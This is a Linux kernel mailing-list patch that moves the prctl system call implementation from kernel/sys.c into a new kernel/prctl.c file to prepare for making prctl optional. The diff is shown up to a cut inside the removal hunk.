	Eric W. Biederman, Dmitry Vyukov, Ralf Baechle, Alex Thorlton,
	Michal Hocko, Mateusz Guzik, Cyrill Gorcunov, John Stultz,
	Al Viro <viro>
In-Reply-To: <cover.c693f10dfc19e12c214758e4b13ca9b4e4cf9668.1478650356.git-series.josh-iaAMLnmF4UmaiuxdJuQwMA@public.gmane.org>

This prepares for making prctl optional.

Signed-off-by: Josh Triplett <josh-iaAMLnmF4UmaiuxdJuQwMA@public.gmane.org>
---
 kernel/Makefile |   2 +-
 kernel/prctl.c  | 684 +++++++++++++++++++++++++++++++++++++++++++++++++-
 kernel/sys.c    | 672 +------------------------------------------------
 3 files changed, 685 insertions(+), 673 deletions(-)
 create mode 100644 kernel/prctl.c

diff --git a/kernel/Makefile b/kernel/Makefile
index eb26e12..37c6d4c 100644
--- a/kernel/Makefile
+++ b/kernel/Makefile
@@ -9,7 +9,7 @@ obj-y     = fork.o exec_domain.o panic.o \
 	    extable.o params.o \
 	    kthread.o sys_ni.o nsproxy.o \
 	    notifier.o ksysfs.o cred.o reboot.o \
-	    async.o range.o smpboot.o ucount.o
+	    async.o range.o smpboot.o ucount.o prctl.o
 
 obj-$(CONFIG_MULTIUSER) += groups.o
 
diff --git a/kernel/prctl.c b/kernel/prctl.c
new file mode 100644
index 0000000..f7156e4
--- /dev/null
+++ b/kernel/prctl.c
@@ -0,0 +1,684 @@
+#include <linux/sched.h>
+#include <linux/cn_proc.h>
+#include <linux/file.h>
+#include <linux/fs.h>
+#include <linux/kernel.h>
+#include <linux/mm.h>
+#include <linux/prctl.h>
+#include <linux/security.h>
+#include <linux/syscalls.h>
+#include <linux/uaccess.h>
+
+#include <asm/processor.h>
+
+#ifndef SET_UNALIGN_CTL
+# define SET_UNALIGN_CTL(a, b)	(-EINVAL)
+#endif
+#ifndef GET_UNALIGN_CTL
+# define GET_UNALIGN_CTL(a, b)	(-EINVAL)
+#endif
+#ifndef SET_FPEMU_CTL
+# define SET_FPEMU_CTL(a, b)	(-EINVAL)
+#endif
+#ifndef GET_FPEMU_CTL
+# define GET_FPEMU_CTL(a, b)	(-EINVAL)
+#endif
+#ifndef SET_FPEXC_CTL
+# define SET_FPEXC_CTL(a, b)	(-EINVAL)
+#endif
+#ifndef GET_FPEXC_CTL
+# define GET_FPEXC_CTL(a, b)	(-EINVAL)
+#endif
+#ifndef GET_ENDIAN
+# define GET_ENDIAN(a, b)	(-EINVAL)
+#endif
+#ifndef SET_ENDIAN
+# define SET_ENDIAN(a, b)	(-EINVAL)
+#endif
+#ifndef GET_TSC_CTL
+# define GET_TSC_CTL(a)		(-EINVAL)
+#endif
+#ifndef SET_TSC_CTL
+# define SET_TSC_CTL(a)		(-EINVAL)
+#endif
+#ifndef MPX_ENABLE_MANAGEMENT
+# define MPX_ENABLE_MANAGEMENT()	(-EINVAL)
+#endif
+#ifndef MPX_DISABLE_MANAGEMENT
+# define MPX_DISABLE_MANAGEMENT()	(-EINVAL)
+#endif
+#ifndef GET_FP_MODE
+# define GET_FP_MODE(a)		(-EINVAL)
+#endif
+#ifndef SET_FP_MODE
+# define SET_FP_MODE(a,b)	(-EINVAL)
+#endif
+
+static int prctl_set_mm_exe_file(struct mm_struct *mm, unsigned int fd)
+{
+	struct fd exe;
+	struct file *old_exe, *exe_file;
+	struct inode *inode;
+	int err;
+
+	exe = fdget(fd);
+	if (!exe.file)
+		return -EBADF;
+
+	inode = file_inode(exe.file);
+
+	/*
+	 * Because the original mm->exe_file points to executable file, make
+	 * sure that this one is executable as well, to avoid breaking an
+	 * overall picture.
+	 */
+	err = -EACCES;
+	if (!S_ISREG(inode->i_mode) || path_noexec(&exe.file->f_path))
+		goto exit;
+
+	err = inode_permission(inode, MAY_EXEC);
+	if (err)
+		goto exit;
+
+	/*
+	 * Forbid mm->exe_file change if old file still mapped.
+	 */
+	exe_file = get_mm_exe_file(mm);
+	err = -EBUSY;
+	if (exe_file) {
+		struct vm_area_struct *vma;
+
+		down_read(&mm->mmap_sem);
+		for (vma = mm->mmap; vma; vma = vma->vm_next) {
+			if (!vma->vm_file)
+				continue;
+			if (path_equal(&vma->vm_file->f_path,
+				       &exe_file->f_path))
+				goto exit_err;
+		}
+
+		up_read(&mm->mmap_sem);
+		fput(exe_file);
+	}
+
+	/*
+	 * The symlink can be changed only once, just to disallow arbitrary
+	 * transitions malicious software might bring in. This means one
+	 * could make a snapshot over all processes running and monitor
+	 * /proc/pid/exe changes to notice unusual activity if needed.
+	 */
+	err = -EPERM;
+	if (test_and_set_bit(MMF_EXE_FILE_CHANGED, &mm->flags))
+		goto exit;
+
+	err = 0;
+	/* set the new file, lockless */
+	get_file(exe.file);
+	old_exe = xchg(&mm->exe_file, exe.file);
+	if (old_exe)
+		fput(old_exe);
+exit:
+	fdput(exe);
+	return err;
+exit_err:
+	up_read(&mm->mmap_sem);
+	fput(exe_file);
+	goto exit;
+}
+
+/*
+ * WARNING: we don't require any capability here so be very careful
+ * in what is allowed for modification from userspace.
+ */
+static int validate_prctl_map(struct prctl_mm_map *prctl_map)
+{
+	unsigned long mmap_max_addr = TASK_SIZE;
+	struct mm_struct *mm = current->mm;
+	int error = -EINVAL, i;
+
+	static const unsigned char offsets[] = {
+		offsetof(struct prctl_mm_map, start_code),
+		offsetof(struct prctl_mm_map, end_code),
+		offsetof(struct prctl_mm_map, start_data),
+		offsetof(struct prctl_mm_map, end_data),
+		offsetof(struct prctl_mm_map, start_brk),
+		offsetof(struct prctl_mm_map, brk),
+		offsetof(struct prctl_mm_map, start_stack),
+		offsetof(struct prctl_mm_map, arg_start),
+		offsetof(struct prctl_mm_map, arg_end),
+		offsetof(struct prctl_mm_map, env_start),
+		offsetof(struct prctl_mm_map, env_end),
+	};
+
+	/*
+	 * Make sure the members are not somewhere outside
+	 * of allowed address space.
+	 */
+	for (i = 0; i < ARRAY_SIZE(offsets); i++) {
+		u64 val = *(u64 *)((char *)prctl_map + offsets[i]);
+
+		if ((unsigned long)val >= mmap_max_addr ||
+		    (unsigned long)val < mmap_min_addr)
+			goto out;
+	}
+
+	/*
+	 * Make sure the pairs are ordered.
+	 */
+#define __prctl_check_order(__m1, __op, __m2)				\
+	((unsigned long)prctl_map->__m1 __op				\
+	 (unsigned long)prctl_map->__m2) ? 0 : -EINVAL
+	error  = __prctl_check_order(start_code, <, end_code);
+	error |= __prctl_check_order(start_data, <, end_data);
+	error |= __prctl_check_order(start_brk, <=, brk);
+	error |= __prctl_check_order(arg_start, <=, arg_end);
+	error |= __prctl_check_order(env_start, <=, env_end);
+	if (error)
+		goto out;
+#undef __prctl_check_order
+
+	error = -EINVAL;
+
+	/*
+	 * @brk should be after @end_data in traditional maps.
+	 */
+	if (prctl_map->start_brk <= prctl_map->end_data ||
+	    prctl_map->brk <= prctl_map->end_data)
+		goto out;
+
+	/*
+	 * Neither we should allow to override limits if they set.
+	 */
+	if (check_data_rlimit(rlimit(RLIMIT_DATA), prctl_map->brk,
+			      prctl_map->start_brk, prctl_map->end_data,
+			      prctl_map->start_data))
+			goto out;
+
+	/*
+	 * Someone is trying to cheat the auxv vector.
+	 */
+	if (prctl_map->auxv_size) {
+		if (!prctl_map->auxv || prctl_map->auxv_size > sizeof(mm->saved_auxv))
+			goto out;
+	}
+
+	/*
+	 * Finally, make sure the caller has the rights to
+	 * change /proc/pid/exe link: only local root should
+	 * be allowed to.
+	 */
+	if (prctl_map->exe_fd != (u32)-1) {
+		struct user_namespace *ns = current_user_ns();
+		const struct cred *cred = current_cred();
+
+		if (!uid_eq(cred->uid, make_kuid(ns, 0)) ||
+		    !gid_eq(cred->gid, make_kgid(ns, 0)))
+			goto out;
+	}
+
+	error = 0;
+out:
+	return error;
+}
+
+#ifdef CONFIG_CHECKPOINT_RESTORE
+static int prctl_set_mm_map(int opt, const void __user *addr, unsigned long data_size)
+{
+	struct prctl_mm_map prctl_map = { .exe_fd = (u32)-1, };
+	unsigned long user_auxv[AT_VECTOR_SIZE];
+	struct mm_struct *mm = current->mm;
+	int error;
+
+	BUILD_BUG_ON(sizeof(user_auxv) != sizeof(mm->saved_auxv));
+	BUILD_BUG_ON(sizeof(struct prctl_mm_map) > 256);
+
+	if (opt == PR_SET_MM_MAP_SIZE)
+		return put_user((unsigned int)sizeof(prctl_map),
+				(unsigned int __user *)addr);
+
+	if (data_size != sizeof(prctl_map))
+		return -EINVAL;
+
+	if (copy_from_user(&prctl_map, addr, sizeof(prctl_map)))
+		return -EFAULT;
+
+	error = validate_prctl_map(&prctl_map);
+	if (error)
+		return error;
+
+	if (prctl_map.auxv_size) {
+		memset(user_auxv, 0, sizeof(user_auxv));
+		if (copy_from_user(user_auxv,
+				   (const void __user *)prctl_map.auxv,
+				   prctl_map.auxv_size))
+			return -EFAULT;
+
+		/* Last entry must be AT_NULL as specification requires */
+		user_auxv[AT_VECTOR_SIZE - 2] = AT_NULL;
+		user_auxv[AT_VECTOR_SIZE - 1] = AT_NULL;
+	}
+
+	if (prctl_map.exe_fd != (u32)-1) {
+		error = prctl_set_mm_exe_file(mm, prctl_map.exe_fd);
+		if (error)
+			return error;
+	}
+
+	down_write(&mm->mmap_sem);
+
+	/*
+	 * We don't validate if these members are pointing to
+	 * real present VMAs because application may have correspond
+	 * VMAs already unmapped and kernel uses these members for statistics
+	 * output in procfs mostly, except
+	 *
+	 *  - @start_brk/@brk which are used in do_brk but kernel lookups
+	 *    for VMAs when updating these memvers so anything wrong written
+	 *    here cause kernel to swear at userspace program but won't lead
+	 *    to any problem in kernel itself
+	 */
+
+	mm->start_code	= prctl_map.start_code;
+	mm->end_code	= prctl_map.end_code;
+	mm->start_data	= prctl_map.start_data;
+	mm->end_data	= prctl_map.end_data;
+	mm->start_brk	= prctl_map.start_brk;
+	mm->brk		= prctl_map.brk;
+	mm->start_stack	= prctl_map.start_stack;
+	mm->arg_start	= prctl_map.arg_start;
+	mm->arg_end	= prctl_map.arg_end;
+	mm->env_start	= prctl_map.env_start;
+	mm->env_end	= prctl_map.env_end;
+
+	/*
+	 * Note this update of @saved_auxv is lockless thus
+	 * if someone reads this member in procfs while we're
+	 * updating -- it may get partly updated results. It's
+	 * known and acceptable trade off: we leave it as is to
+	 * not introduce additional locks here making the kernel
+	 * more complex.
+	 */
+	if (prctl_map.auxv_size)
+		memcpy(mm->saved_auxv, user_auxv, sizeof(user_auxv));
+
+	up_write(&mm->mmap_sem);
+	return 0;
+}
+#endif /* CONFIG_CHECKPOINT_RESTORE */
+
+static int prctl_set_auxv(struct mm_struct *mm, unsigned long addr,
+			  unsigned long len)
+{
+	/*
+	 * This doesn't move the auxiliary vector itself since it's pinned to
+	 * mm_struct, but it permits filling the vector with new values.  It's
+	 * up to the caller to provide sane values here, otherwise userspace
+	 * tools which use this vector might be unhappy.
+	 */
+	unsigned long user_auxv[AT_VECTOR_SIZE];
+
+	if (len > sizeof(user_auxv))
+		return -EINVAL;
+
+	if (copy_from_user(user_auxv, (const void __user *)addr, len))
+		return -EFAULT;
+
+	/* Make sure the last entry is always AT_NULL */
+	user_auxv[AT_VECTOR_SIZE - 2] = 0;
+	user_auxv[AT_VECTOR_SIZE - 1] = 0;
+
+	BUILD_BUG_ON(sizeof(user_auxv) != sizeof(mm->saved_auxv));
+
+	task_lock(current);
+	memcpy(mm->saved_auxv, user_auxv, len);
+	task_unlock(current);
+
+	return 0;
+}
+
+static int prctl_set_mm(int opt, unsigned long addr,
+			unsigned long arg4, unsigned long arg5)
+{
+	struct mm_struct *mm = current->mm;
+	struct prctl_mm_map prctl_map;
+	struct vm_area_struct *vma;
+	int error;
+
+	if (arg5 || (arg4 && (opt != PR_SET_MM_AUXV &&
+			      opt != PR_SET_MM_MAP &&
+			      opt != PR_SET_MM_MAP_SIZE)))
+		return -EINVAL;
+
+#ifdef CONFIG_CHECKPOINT_RESTORE
+	if (opt == PR_SET_MM_MAP || opt == PR_SET_MM_MAP_SIZE)
+		return prctl_set_mm_map(opt, (const void __user *)addr, arg4);
+#endif
+
+	if (!capable(CAP_SYS_RESOURCE))
+		return -EPERM;
+
+	if (opt == PR_SET_MM_EXE_FILE)
+		return prctl_set_mm_exe_file(mm, (unsigned int)addr);
+
+	if (opt == PR_SET_MM_AUXV)
+		return prctl_set_auxv(mm, addr, arg4);
+
+	if (addr >= TASK_SIZE || addr < mmap_min_addr)
+		return -EINVAL;
+
+	error = -EINVAL;
+
+	down_write(&mm->mmap_sem);
+	vma = find_vma(mm, addr);
+
+	prctl_map.start_code	= mm->start_code;
+	prctl_map.end_code	= mm->end_code;
+	prctl_map.start_data	= mm->start_data;
+	prctl_map.end_data	= mm->end_data;
+	prctl_map.start_brk	= mm->start_brk;
+	prctl_map.brk		= mm->brk;
+	prctl_map.start_stack	= mm->start_stack;
+	prctl_map.arg_start	= mm->arg_start;
+	prctl_map.arg_end	= mm->arg_end;
+	prctl_map.env_start	= mm->env_start;
+	prctl_map.env_end	= mm->env_end;
+	prctl_map.auxv		= NULL;
+	prctl_map.auxv_size	= 0;
+	prctl_map.exe_fd	= -1;
+
+	switch (opt) {
+	case PR_SET_MM_START_CODE:
+		prctl_map.start_code = addr;
+		break;
+	case PR_SET_MM_END_CODE:
+		prctl_map.end_code = addr;
+		break;
+	case PR_SET_MM_START_DATA:
+		prctl_map.start_data = addr;
+		break;
+	case PR_SET_MM_END_DATA:
+		prctl_map.end_data = addr;
+		break;
+	case PR_SET_MM_START_STACK:
+		prctl_map.start_stack = addr;
+		break;
+	case PR_SET_MM_START_BRK:
+		prctl_map.start_brk = addr;
+		break;
+	case PR_SET_MM_BRK:
+		prctl_map.brk = addr;
+		break;
+	case PR_SET_MM_ARG_START:
+		prctl_map.arg_start = addr;
+		break;
+	case PR_SET_MM_ARG_END:
+		prctl_map.arg_end = addr;
+		break;
+	case PR_SET_MM_ENV_START:
+		prctl_map.env_start = addr;
+		break;
+	case PR_SET_MM_ENV_END:
+		prctl_map.env_end = addr;
+		break;
+	default:
+		goto out;
+	}
+
+	error = validate_prctl_map(&prctl_map);
+	if (error)
+		goto out;
+
+	switch (opt) {
+	/*
+	 * If command line arguments and environment
+	 * are placed somewhere else on stack, we can
+	 * set them up here, ARG_START/END to setup
+	 * command line argumets and ENV_START/END
+	 * for environment.
+	 */
+	case PR_SET_MM_START_STACK:
+	case PR_SET_MM_ARG_START:
+	case PR_SET_MM_ARG_END:
+	case PR_SET_MM_ENV_START:
+	case PR_SET_MM_ENV_END:
+		if (!vma) {
+			error = -EFAULT;
+			goto out;
+		}
+	}
+
+	mm->start_code	= prctl_map.start_code;
+	mm->end_code	= prctl_map.end_code;
+	mm->start_data	= prctl_map.start_data;
+	mm->end_data	= prctl_map.end_data;
+	mm->start_brk	= prctl_map.start_brk;
+	mm->brk		= prctl_map.brk;
+	mm->start_stack	= prctl_map.start_stack;
+	mm->arg_start	= prctl_map.arg_start;
+	mm->arg_end	= prctl_map.arg_end;
+	mm->env_start	= prctl_map.env_start;
+	mm->env_end	= prctl_map.env_end;
+
+	error = 0;
+out:
+	up_write(&mm->mmap_sem);
+	return error;
+}
+
+#ifdef CONFIG_CHECKPOINT_RESTORE
+static int prctl_get_tid_address(struct task_struct *me, int __user **tid_addr)
+{
+	return put_user(me->clear_child_tid, tid_addr);
+}
+#else
+static int prctl_get_tid_address(struct task_struct *me, int __user **tid_addr)
+{
+	return -EINVAL;
+}
+#endif
+
+SYSCALL_DEFINE5(prctl, int, option, unsigned long, arg2, unsigned long, arg3,
+		unsigned long, arg4, unsigned long, arg5)
+{
+	struct task_struct *me = current;
+	unsigned char comm[sizeof(me->comm)];
+	long error;
+
+	error = security_task_prctl(option, arg2, arg3, arg4, arg5);
+	if (error != -ENOSYS)
+		return error;
+
+	error = 0;
+	switch (option) {
+	case PR_SET_PDEATHSIG:
+		if (!valid_signal(arg2)) {
+			error = -EINVAL;
+			break;
+		}
+		me->pdeath_signal = arg2;
+		break;
+	case PR_GET_PDEATHSIG:
+		error = put_user(me->pdeath_signal, (int __user *)arg2);
+		break;
+	case PR_GET_DUMPABLE:
+		error = get_dumpable(me->mm);
+		break;
+	case PR_SET_DUMPABLE:
+		if (arg2 != SUID_DUMP_DISABLE && arg2 != SUID_DUMP_USER) {
+			error = -EINVAL;
+			break;
+		}
+		set_dumpable(me->mm, arg2);
+		break;
+
+	case PR_SET_UNALIGN:
+		error = SET_UNALIGN_CTL(me, arg2);
+		break;
+	case PR_GET_UNALIGN:
+		error = GET_UNALIGN_CTL(me, arg2);
+		break;
+	case PR_SET_FPEMU:
+		error = SET_FPEMU_CTL(me, arg2);
+		break;
+	case PR_GET_FPEMU:
+		error = GET_FPEMU_CTL(me, arg2);
+		break;
+	case PR_SET_FPEXC:
+		error = SET_FPEXC_CTL(me, arg2);
+		break;
+	case PR_GET_FPEXC:
+		error = GET_FPEXC_CTL(me, arg2);
+		break;
+	case PR_GET_TIMING:
+		error = PR_TIMING_STATISTICAL;
+		break;
+	case PR_SET_TIMING:
+		if (arg2 != PR_TIMING_STATISTICAL)
+			error = -EINVAL;
+		break;
+	case PR_SET_NAME:
+		comm[sizeof(me->comm) - 1] = 0;
+		if (strncpy_from_user(comm, (char __user *)arg2,
+				      sizeof(me->comm) - 1) < 0)
+			return -EFAULT;
+		set_task_comm(me, comm);
+		proc_comm_connector(me);
+		break;
+	case PR_GET_NAME:
+		get_task_comm(comm, me);
+		if (copy_to_user((char __user *)arg2, comm, sizeof(comm)))
+			return -EFAULT;
+		break;
+	case PR_GET_ENDIAN:
+		error = GET_ENDIAN(me, arg2);
+		break;
+	case PR_SET_ENDIAN:
+		error = SET_ENDIAN(me, arg2);
+		break;
+	case PR_GET_SECCOMP:
+		error = prctl_get_seccomp();
+		break;
+	case PR_SET_SECCOMP:
+		error = prctl_set_seccomp(arg2, (char __user *)arg3);
+		break;
+	case PR_GET_TSC:
+		error = GET_TSC_CTL(arg2);
+		break;
+	case PR_SET_TSC:
+		error = SET_TSC_CTL(arg2);
+		break;
+	case PR_TASK_PERF_EVENTS_DISABLE:
+		error = perf_event_task_disable();
+		break;
+	case PR_TASK_PERF_EVENTS_ENABLE:
+		error = perf_event_task_enable();
+		break;
+	case PR_GET_TIMERSLACK:
+		if (current->timer_slack_ns > ULONG_MAX)
+			error = ULONG_MAX;
+		else
+			error = current->timer_slack_ns;
+		break;
+	case PR_SET_TIMERSLACK:
+		if (arg2 <= 0)
+			current->timer_slack_ns =
+					current->default_timer_slack_ns;
+		else
+			current->timer_slack_ns = arg2;
+		break;
+	case PR_MCE_KILL:
+		if (arg4 | arg5)
+			return -EINVAL;
+		switch (arg2) {
+		case PR_MCE_KILL_CLEAR:
+			if (arg3 != 0)
+				return -EINVAL;
+			current->flags &= ~PF_MCE_PROCESS;
+			break;
+		case PR_MCE_KILL_SET:
+			current->flags |= PF_MCE_PROCESS;
+			if (arg3 == PR_MCE_KILL_EARLY)
+				current->flags |= PF_MCE_EARLY;
+			else if (arg3 == PR_MCE_KILL_LATE)
+				current->flags &= ~PF_MCE_EARLY;
+			else if (arg3 == PR_MCE_KILL_DEFAULT)
+				current->flags &=
+						~(PF_MCE_EARLY|PF_MCE_PROCESS);
+			else
+				return -EINVAL;
+			break;
+		default:
+			return -EINVAL;
+		}
+		break;
+	case PR_MCE_KILL_GET:
+		if (arg2 | arg3 | arg4 | arg5)
+			return -EINVAL;
+		if (current->flags & PF_MCE_PROCESS)
+			error = (current->flags & PF_MCE_EARLY) ?
+				PR_MCE_KILL_EARLY : PR_MCE_KILL_LATE;
+		else
+			error = PR_MCE_KILL_DEFAULT;
+		break;
+	case PR_SET_MM:
+		error = prctl_set_mm(arg2, arg3, arg4, arg5);
+		break;
+	case PR_GET_TID_ADDRESS:
+		error = prctl_get_tid_address(me, (int __user **)arg2);
+		break;
+	case PR_SET_CHILD_SUBREAPER:
+		me->signal->is_child_subreaper = !!arg2;
+		break;
+	case PR_GET_CHILD_SUBREAPER:
+		error = put_user(me->signal->is_child_subreaper,
+				 (int __user *)arg2);
+		break;
+	case PR_SET_NO_NEW_PRIVS:
+		if (arg2 != 1 || arg3 || arg4 || arg5)
+			return -EINVAL;
+
+		task_set_no_new_privs(current);
+		break;
+	case PR_GET_NO_NEW_PRIVS:
+		if (arg2 || arg3 || arg4 || arg5)
+			return -EINVAL;
+		return task_no_new_privs(current) ? 1 : 0;
+	case PR_GET_THP_DISABLE:
+		if (arg2 || arg3 || arg4 || arg5)
+			return -EINVAL;
+		error = !!(me->mm->def_flags & VM_NOHUGEPAGE);
+		break;
+	case PR_SET_THP_DISABLE:
+		if (arg3 || arg4 || arg5)
+			return -EINVAL;
+		if (down_write_killable(&me->mm->mmap_sem))
+			return -EINTR;
+		if (arg2)
+			me->mm->def_flags |= VM_NOHUGEPAGE;
+		else
+			me->mm->def_flags &= ~VM_NOHUGEPAGE;
+		up_write(&me->mm->mmap_sem);
+		break;
+	case PR_MPX_ENABLE_MANAGEMENT:
+		if (arg2 || arg3 || arg4 || arg5)
+			return -EINVAL;
+		error = MPX_ENABLE_MANAGEMENT();
+		break;
+	case PR_MPX_DISABLE_MANAGEMENT:
+		if (arg2 || arg3 || arg4 || arg5)
+			return -EINVAL;
+		error = MPX_DISABLE_MANAGEMENT();
+		break;
+	case PR_SET_FP_MODE:
+		error = SET_FP_MODE(me, arg2);
+		break;
+	case PR_GET_FP_MODE:
+		error = GET_FP_MODE(me);
+		break;
+	default:
+		error = -EINVAL;
+		break;
+	}
+	return error;
+}
+
diff --git a/kernel/sys.c b/kernel/sys.c
index 89d5be4..bda75ca 100644
--- a/kernel/sys.c
+++ b/kernel/sys.c
@@ -9,7 +9,6 @@
 #include <linux/utsname.h>
 #include <linux/mman.h>
 #include <linux/reboot.h>
-#include <linux/prctl.h>
 #include <linux/highuid.h>
 #include <linux/fs.h>
 #include <linux/kmod.h>
@@ -61,49 +60,6 @@
 #include <asm/io.h>
 #include <asm/unistd.h>
 
-#ifndef SET_UNALIGN_CTL
-# define SET_UNALIGN_CTL(a, b)	(-EINVAL)
-#endif
-#ifndef GET_UNALIGN_CTL
-# define GET_UNALIGN_CTL(a, b)	(-EINVAL)
-#endif
-#ifndef SET_FPEMU_CTL
-# define SET_FPEMU_CTL(a, b)	(-EINVAL)
-#endif
-#ifndef GET_FPEMU_CTL
-# define GET_FPEMU_CTL(a, b)	(-EINVAL)
-#endif
-#ifndef SET_FPEXC_CTL
-# define SET_FPEXC_CTL(a, b)	(-EINVAL)
-#endif
-#ifndef GET_FPEXC_CTL
-# define GET_FPEXC_CTL(a, b)	(-EINVAL)
-#endif
-#ifndef GET_ENDIAN
-# define GET_ENDIAN(a, b)	(-EINVAL)
-#endif
-#ifndef SET_ENDIAN
-# define SET_ENDIAN(a, b)	(-EINVAL)
-#endif
-#ifndef GET_TSC_CTL
-# define GET_TSC_CTL(a)		(-EINVAL)
-#endif
-#ifndef SET_TSC_CTL
-# define SET_TSC_CTL(a)		(-EINVAL)
-#endif
-#ifndef MPX_ENABLE_MANAGEMENT
-# define MPX_ENABLE_MANAGEMENT()	(-EINVAL)
-#endif
-#ifndef MPX_DISABLE_MANAGEMENT
-# define MPX_DISABLE_MANAGEMENT()	(-EINVAL)
-#endif
-#ifndef GET_FP_MODE
-# define GET_FP_MODE(a)		(-EINVAL)
-#endif
-#ifndef SET_FP_MODE
-# define SET_FP_MODE(a,b)	(-EINVAL)
-#endif
-
 /*
  * this is where the system-wide overflow UID and GID are defined, for
  * architectures that now have 32-bit UID/GID but didn't in the past
@@ -1649,634 +1605,6 @@ SYSCALL_DEFINE1(umask, int, mask)
 	return mask;
 }
 
-static int prctl_set_mm_exe_file(struct mm_struct *mm, unsigned int fd)
-{
-	struct fd exe;
-	struct file *old_exe, *exe_file;
-	struct inode *inode;
-	int err;
-
-	exe = fdget(fd);
-	if (!exe.file)
-		return -EBADF;
-
-	inode = file_inode(exe.file);
-
-	/*
-	 * Because the original mm->exe_file points to executable file, make
-	 * sure that this one is executable as well, to avoid breaking an
-	 * overall picture.
-	 */
-	err = -EACCES;
-	if (!S_ISREG(inode->i_mode) || path_noexec(&exe.file->f_path))
-		goto exit;
-
-	err = inode_permission(inode, MAY_EXEC);
-	if (err)
-		goto exit;
-
-	/*
-	 * Forbid mm->exe_file change if old file still mapped.
-	 */
-	exe_file = get_mm_exe_file(mm);
-	err = -EBUSY;
-	if (exe_file) {
-		struct vm_area_struct *vma;
-
-		down_read(&mm->mmap_sem);
-		for (vma = mm->mmap; vma; vma = vma->vm_next) {
-			if (!vma->vm_file)
-				continue;
-			if (path_equal(&vma->vm_file->f_path,
-				       &exe_file->f_path))
-				goto exit_err;
-		}
-
-		up_read(&mm->mmap_sem);
-		fput(exe_file);
-	}
-
-	/*
-	 * The symlink can be changed only once, just to disallow arbitrary
-	 * transitions malicious software might bring in. This means one
-	 * could make a snapshot over all processes running and monitor
-	 * /proc/pid/exe changes to notice unusual activity if needed.
-	 */
-	err = -EPERM;
-	if (test_and_set_bit(MMF_EXE_FILE_CHANGED, &mm->flags))
-		goto exit;
-
-	err = 0;
-	/* set the new file, lockless */
-	get_file(exe.file);
-	old_exe = xchg(&mm->exe_file, exe.file);
-	if (old_exe)
-		fput(old_exe);
-exit:
-	fdput(exe);
-	return err;
-exit_err:
-	up_read(&mm->mmap_sem);
-	fput(exe_file);
-	goto exit;
-}
-
-/*
- * WARNING: we don't require any capability here so be very careful
- * in what is allowed for modification from userspace.
- */
-static int validate_prctl_map(struct prctl_mm_map *prctl_map)
-{
-	unsigned long mmap_max_addr = TASK_SIZE;
-	struct mm_struct *mm = current->mm;
-	int error = -EINVAL, i;
-
-	static const unsigned char offsets[] = {
-		offsetof(struct prctl_mm_map, start_code),
-		offsetof(struct prctl_mm_map, end_code),
-		offsetof(struct prctl_mm_map, start_data),
-		offsetof(struct prctl_mm_map, end_data),
-		offsetof(struct prctl_mm_map, start_brk),
-		offsetof(struct prctl_mm_map, brk),
-		offsetof(struct prctl_mm_map, start_stack),
-		offsetof(struct prctl_mm_map, arg_start),
-		offsetof(struct prctl_mm_map, arg_end),
-		offsetof(struct prctl_mm_map, env_start),
-		offsetof(struct prctl_mm_map, env_end),
-	};
-
-	/*
-	 * Make sure the members are not somewhere outside
-	 * of allowed address space.
-	 */
-	for (i = 0; i < ARRAY_SIZE(offsets); i++) {
-		u64 val = *(u64 *)((char *)prctl_map + offsets[i]);
-
-		if ((unsigned long)val >= mmap_max_addr ||
-		    (unsigned long)val < mmap_min_addr)
-			goto out;
-	}
-
-	/*
-	 * Make sure the pairs are ordered.
-	 */
-#define __prctl_check_order(__m1, __op, __m2)				\
-	((unsigned long)prctl_map->__m1 __op				\
-	 (unsigned long)prctl_map->__m2) ? 0 : -EINVAL
-	error  = __prctl_check_order(start_code, <, end_code);
-	error |= __prctl_check_order(start_data, <, end_data);
-	error |= __prctl_check_order(start_brk, <=, brk);
-	error |= __prctl_check_order(arg_start, <=, arg_end);
-	error |= __prctl_check_order(env_start, <=, env_end);
-	if (error)
-		goto out;
-#undef __prctl_check_order
-
-	error = -EINVAL;
-
-	/*
-	 * @brk should be after @end_data in traditional maps.
-	 */
-	if (prctl_map->start_brk <= prctl_map->end_data ||
-	    prctl_map->brk <= prctl_map->end_data)
-		goto out;
-
-	/*
-	 * Neither we should allow to override limits if they set.
-	 */
-	if (check_data_rlimit(rlimit(RLIMIT_DATA), prctl_map->brk,
-			      prctl_map->start_brk, prctl_map->end_data,
-			      prctl_map->start_data))
-			goto out;
-
-	/*
-	 * Someone is trying to cheat the auxv vector.
-	 */
-	if (prctl_map->auxv_size) {
-		if (!prctl_map->auxv || prctl_map->auxv_size > sizeof(mm->saved_auxv))
-			goto out;
-	}
-
-	/*
-	 * Finally, make sure the caller has the rights to
-	 * change /proc/pid/exe link: only local root should
-	 * be allowed to.
-	 */
-	if (prctl_map->exe_fd != (u32)-1) {
-		struct user_namespace *ns = current_user_ns();
-		const struct cred *cred = current_cred();
-
-		if (!uid_eq(cred->uid, make_kuid(ns, 0)) ||
-		    !gid_eq(cred->gid, make_kgid(ns, 0)))
-			goto out;
-	}
-
-	error = 0;
-out:
-	return error;
-}
-
-#ifdef CONFIG_CHECKPOINT_RESTORE
-static int prctl_set_mm_map(int opt, const void __user *addr, unsigned long data_size)
-{
-	struct prctl_mm_map prctl_map = { .exe_fd = (u32)-1, };
-	unsigned long user_auxv[AT_VECTOR_SIZE];
-	struct mm_struct *mm = current->mm;
-	int error;
-
-	BUILD_BUG_ON(sizeof(user_auxv) != sizeof(mm->saved_auxv));
-	BUILD_BUG_ON(sizeof(struct prctl_mm_map) > 256);
-
-	if (opt == PR_SET_MM_MAP_SIZE)
-		return put_user((unsigned int)sizeof(prctl_map),
-				(unsigned int __user *)addr);
-
-	if (data_size != sizeof(prctl_map))
-		return -EINVAL;
-
-	if (copy_from_user(&prctl_map, addr, sizeof(prctl_map)))
-		return -EFAULT;
-
-	error = validate_prctl_map(&prctl_map);
-	if (error)
-		return error;
-
-	if (prctl_map.auxv_size) {
-		memset(user_auxv, 0, sizeof(user_auxv));
-		if (copy_from_user(user_auxv,
-				   (const void __user *)prctl_map.auxv,
-				   prctl_map.auxv_size))
-			return -EFAULT;
-
-		/* Last entry must be AT_NULL as specification requires */
-		user_auxv[AT_VECTOR_SIZE - 2] = AT_NULL;
-		user_auxv[AT_VECTOR_SIZE - 1] = AT_NULL;
-	}
-
-	if (prctl_map.exe_fd != (u32)-1) {
-		error = prctl_set_mm_exe_file(mm, prctl_map.exe_fd);
-		if (error)
-			return error;
-	}
-
-	down_write(&mm->mmap_sem);
-
-	/*
-	 * We don't validate if these members are pointing to
-	 * real present VMAs because application may have correspond
-	 * VMAs already unmapped and kernel uses these members for statistics
-	 * output in procfs mostly, except
-	 *
